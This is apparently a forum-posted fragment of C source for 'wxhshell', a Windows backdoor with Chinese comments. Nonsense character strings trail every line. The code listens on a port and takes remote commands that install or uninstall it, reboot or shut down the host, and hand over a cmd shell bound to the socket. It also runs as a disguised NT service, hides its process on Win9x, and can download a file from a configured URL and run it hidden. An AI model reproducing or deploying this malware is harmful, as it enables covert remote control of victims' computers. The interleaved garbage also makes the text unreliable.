  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Ot<8)Jm  
  } c(kYCVc   
  else { j0b>n#e7  
x MFo  
    switch(cmd[0]) { {UFs1  
  Pil_zQ4  
  // 帮助 :caXQ)  
  case '?': { Hmx Y{KB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &R))c|>OT&  
    break; m;JB=MZ=m  
  } @iU(4eX  
  // 安装 Qp;FVUw9  
  case 'i': { ATWa/"l(H-  
    if(Install()) m++=FsiX=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M1q_gHA  
    else `)tIXMn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V6bjVd9|Z  
    break; #0f6X,3  
    } ]-sgzM]q  
  // 卸载 '-BD.^!!  
  case 'r': { G-TD9OgZ  
    if(Uninstall()) b(Yxsy{U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =PjxMC._  
    else @e-2]z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HF<h-gX  
    break; &a+=@Z)kf  
    } ZUakW3f  
  // 显示 wxhshell 所在路径 P}"T 3u\N  
  case 'p': { (sSGJS'X  
    char svExeFile[MAX_PATH]; FY)US>  
    strcpy(svExeFile,"\n\r"); X4JSI%E  
      strcat(svExeFile,ExeFile); 3$9V4v@2  
        send(wsh,svExeFile,strlen(svExeFile),0); 2v<O}   
    break; )S`=y-L$  
    } +*IRI/KUD  
  // 重启  6lL^/$]  
  case 'b': { Js&.p9S2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ cdns;  
    if(Boot(REBOOT)) T0@$6&b%\z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *mkVk7]c  
    else { ><qA+/4]_  
    closesocket(wsh); )XDbg>  
    ExitThread(0); |zJ2ZE|  
    } BdP+>Ij  
    break; 9w6 uoM  
    } k#-%u,t  
  // 关机 2AW*PDncxP  
  case 'd': { <rFh93  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =z4J[8bb  
    if(Boot(SHUTDOWN)) (v&iXD5t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (3Z;c_N  
    else { 8H,k0~D  
    closesocket(wsh); 7b7WQ7u  
    ExitThread(0); !8YA1 o  
    } >=86*U~  
    break; +(Jh$b_  
    } VNs3.  
  // 获取shell AzVv- !Y  
  case 's': { #itZ~tol  
    CmdShell(wsh); =imJ0V~RW  
    closesocket(wsh); /i{V21(%  
    ExitThread(0); ]!uId#OH  
    break; C%|m[,Gx  
  } }lP`3e  
  // 退出 _Nh`-R%B)  
  case 'x': { "y60YYn-#J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^I{/j 'b&  
    CloseIt(wsh); X%T%N;P  
    break; {$V2L4  
    } R+El/ya:6  
  // 离开 Y8h 96  
  case 'q': { *;F:6p4_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yq'D-$@  
    closesocket(wsh); #8$" 84&N.  
    WSACleanup(); +$F,!rV-s  
    exit(1); S~>R}=  
    break; > qPP_^]  
        } j^/=.cD|  
  } /iL*)  
  } 6Fc*&7Z+  
wG73GD38  
  // 提示信息 OlgM7Vrl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m;0ZV%c*j  
} h@TP=  
  } j.[W] EfL~  
/6Kx249Dw  
  return; 7 .]H9  
} P26"z))~d  
tO?-@Qf/9<  
// shell模块句柄 H Qnc`2  
int CmdShell(SOCKET sock) OuK RaZ  
{ @)wsHW%cjz  
STARTUPINFO si; |D_4 iFC  
ZeroMemory(&si,sizeof(si)); Z@bSkO<Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {gxP_>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #N;&^El  
PROCESS_INFORMATION ProcessInfo; h^,av^lg^  
char cmdline[]="cmd"; ZZ T 9t#~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =G !]_d0  
  return 0; ^9><qKbO  
} |7Qe{  
\Yn0|j>  
// 自身启动模式 5~d=,;yE  
int StartFromService(void) p K ^$^*#  
{ zRgAmX/g  
typedef struct N( f0,  
{ clk]JA (  
  DWORD ExitStatus; yMC6 Gvp  
  DWORD PebBaseAddress; s5V|.R  
  DWORD AffinityMask; D/=k9[b!  
  DWORD BasePriority; zZP/C   
  ULONG UniqueProcessId; 5#y_EpL"  
  ULONG InheritedFromUniqueProcessId; Zy.3yQM9i  
}   PROCESS_BASIC_INFORMATION; D]5j?X'  
aj/+#G2  
PROCNTQSIP NtQueryInformationProcess; d%RH]j4  
IVVX3RI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >nvnU`\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *!j!o%MB  
J/3$I  
  HANDLE             hProcess; 6J">@+  
  PROCESS_BASIC_INFORMATION pbi; F%.UpV,  
64vj6 &L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y0p\Gu;3j  
  if(NULL == hInst ) return 0; a!f71k r  
%xKZ" #Z#K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .gM6m8l9wp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4P"XT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); itg"dGDk  
C XNYWx  
  if (!NtQueryInformationProcess) return 0; 3E0C$v KM  
Z{/GT7 /  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8n:N#4Dh^  
  if(!hProcess) return 0; p/G9P +?  
5m;BL+>YE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GDb V y)&  
g9=_^^Tg  
  CloseHandle(hProcess); \}X[0ct2!  
> 6=3y4tP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g)!q4 -q  
if(hProcess==NULL) return 0; 2dK:VC4U  
a8gOb6qF/H  
HMODULE hMod; k3KT':*  
char procName[255]; sXNb  
unsigned long cbNeeded; y7R=zkd C9  
gdg``U;)p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '4,IGxIq  
-s1.v$ g  
  CloseHandle(hProcess); x 0#u2j?zj  
)."dqq^ q  
if(strstr(procName,"services")) return 1; // 以服务启动 ~)zxIO!  
r8!pk~R5]  
  return 0; // 注册表启动 }8s&~f H  
} _g-0"a{-  
]h=5d09z  
// 主模块 @= =)  
int StartWxhshell(LPSTR lpCmdLine) n&DBMU  
{ sZ7~AJ  
  SOCKET wsl; j)#yyK{k2s  
BOOL val=TRUE; )eqF21\  
  int port=0; 6urU[t1  
  struct sockaddr_in door; _/u(:  
((<\VQ,>(  
  if(wscfg.ws_autoins) Install(); J1Az+m  
\Lg4Cx  
port=atoi(lpCmdLine); rO YD[+  
mIPDF1= )  
if(port<=0) port=wscfg.ws_port; $RunGaX!=N  
KD\sU6  
  WSADATA data; WF_QhKW|k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IYHNN  
2+b}FVOe\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wQ~]VV RN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ggm'9|  
  door.sin_family = AF_INET; lL 50PU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8TK*VOf`  
  door.sin_port = htons(port); gvD*^  
/k(wb4Hv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nLC5FA7<  
closesocket(wsl); c=QN!n:  
return 1; Oi]B%Uxy=  
} Jr= fc*f  
P,xJVo\  
  if(listen(wsl,2) == INVALID_SOCKET) { =BJe}AV  
closesocket(wsl); mahNQ5W*)  
return 1; =+I-9=  
} <M}O&?N 8x  
  Wxhshell(wsl); @ &Od1X  
  WSACleanup(); 2@@evQ  
P2| +7D:  
return 0; uu"hu||0_  
k@h0 }%  
} 8R-;cBT  
5uOz#hN  
// 以NT服务方式启动 @,-D P41g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O{Mn\M6  
{ 7$t['2j3  
DWORD   status = 0; 'KT(;Vof  
  DWORD   specificError = 0xfffffff; 6V}xgfB  
EJQT\c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Azp!;+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ULgp]IS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [hk/Rp7{  
  serviceStatus.dwWin32ExitCode     = 0; %Pj}  
  serviceStatus.dwServiceSpecificExitCode = 0; ~*UY[!+4^=  
  serviceStatus.dwCheckPoint       = 0; ao[yHcAs  
  serviceStatus.dwWaitHint       = 0; g}uSIv^  
>"|t*k S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B#35)QI  
  if (hServiceStatusHandle==0) return; $$< I}eMd>  
):}A Quy]  
status = GetLastError(); j)Kd'Va  
  if (status!=NO_ERROR) [1ClZ~f  
{ X#K;(.},h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 45$aq~%as  
    serviceStatus.dwCheckPoint       = 0; wO`G_!W9  
    serviceStatus.dwWaitHint       = 0; rk@qcQR  
    serviceStatus.dwWin32ExitCode     = status; 8xG"hJR  
    serviceStatus.dwServiceSpecificExitCode = specificError; e=eip?p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i}i >ho-8  
    return; +P,ic*Kq*  
  } rLA-q||  
a2kAZCQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c&{= aIe w  
  serviceStatus.dwCheckPoint       = 0; Yx,7e(AI`  
  serviceStatus.dwWaitHint       = 0; G007[|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <h}x7y?  
} xU}J6 Tv  
R*XZPzg%  
// 处理NT服务事件,比如:启动、停止 yF%e)6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L/I ] NA!U  
{ Dl AwB1Ak  
switch(fdwControl) KaH e(  
{ K[ S>EITr  
case SERVICE_CONTROL_STOP: +DR{aX/ll  
  serviceStatus.dwWin32ExitCode = 0; 1oQbV`P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {6wXDZxv  
  serviceStatus.dwCheckPoint   = 0; v&3" (fp  
  serviceStatus.dwWaitHint     = 0; (I'{ pF)  
  { O=lRI)6w@e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u47`&\  
  } ,8d&uR}x  
  return; 64`l?F  
case SERVICE_CONTROL_PAUSE: C>mFylN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E AKW^'D  
  break; B., BP  
case SERVICE_CONTROL_CONTINUE: 3Co1bY:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Msfxce  
  break; 2tCw{Om*  
case SERVICE_CONTROL_INTERROGATE: VB T 66kV  
  break; W tHJG5  
}; 1$6 u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MpvGF7H  
} _@gg,2 u-  
_x#y   
// 标准应用程序主函数 bAuiMw7!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V[kn'QkWv  
{ L~by`q N_  
jG)66E*"  
// 获取操作系统版本 Y9vVi]4  
OsIsNt=GetOsVer(); vv<\LN0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p9mGiK4!  
Q)qJ6-R|HD  
  // 从命令行安装 ^Jdg%U?  
  if(strpbrk(lpCmdLine,"iI")) Install(); #o9CC)q5G  
ITi#p%  
  // 下载执行文件 jO|`aUY Tf  
if(wscfg.ws_downexe) { yf`_?gJ6d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  cz>)6#&O  
  WinExec(wscfg.ws_filenam,SW_HIDE); D`X<b4e8/  
} a2i:fz=[  
jsr)  
if(!OsIsNt) { ! r/~D |  
// 如果时win9x,隐藏进程并且设置为注册表启动 G\,B*$3   
HideProc(); h4MBw=Tz~  
StartWxhshell(lpCmdLine); 9F6dKPN:  
} zb02\xvf  
else &jQqlQ j  
  if(StartFromService()) a|[f%T<<  
  // 以服务方式启动 QtW e,+WWV  
  StartServiceCtrlDispatcher(DispatchTable); gm8Jx hL  
else (nuTfmt>  
  // 普通方式启动 SMRCG"3qwA  
  StartWxhshell(lpCmdLine); @T>^ >  
@,6*yyO  
return 0; Z?3B1o9  
}
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只看该作者 1 发表于: 2006-10-10
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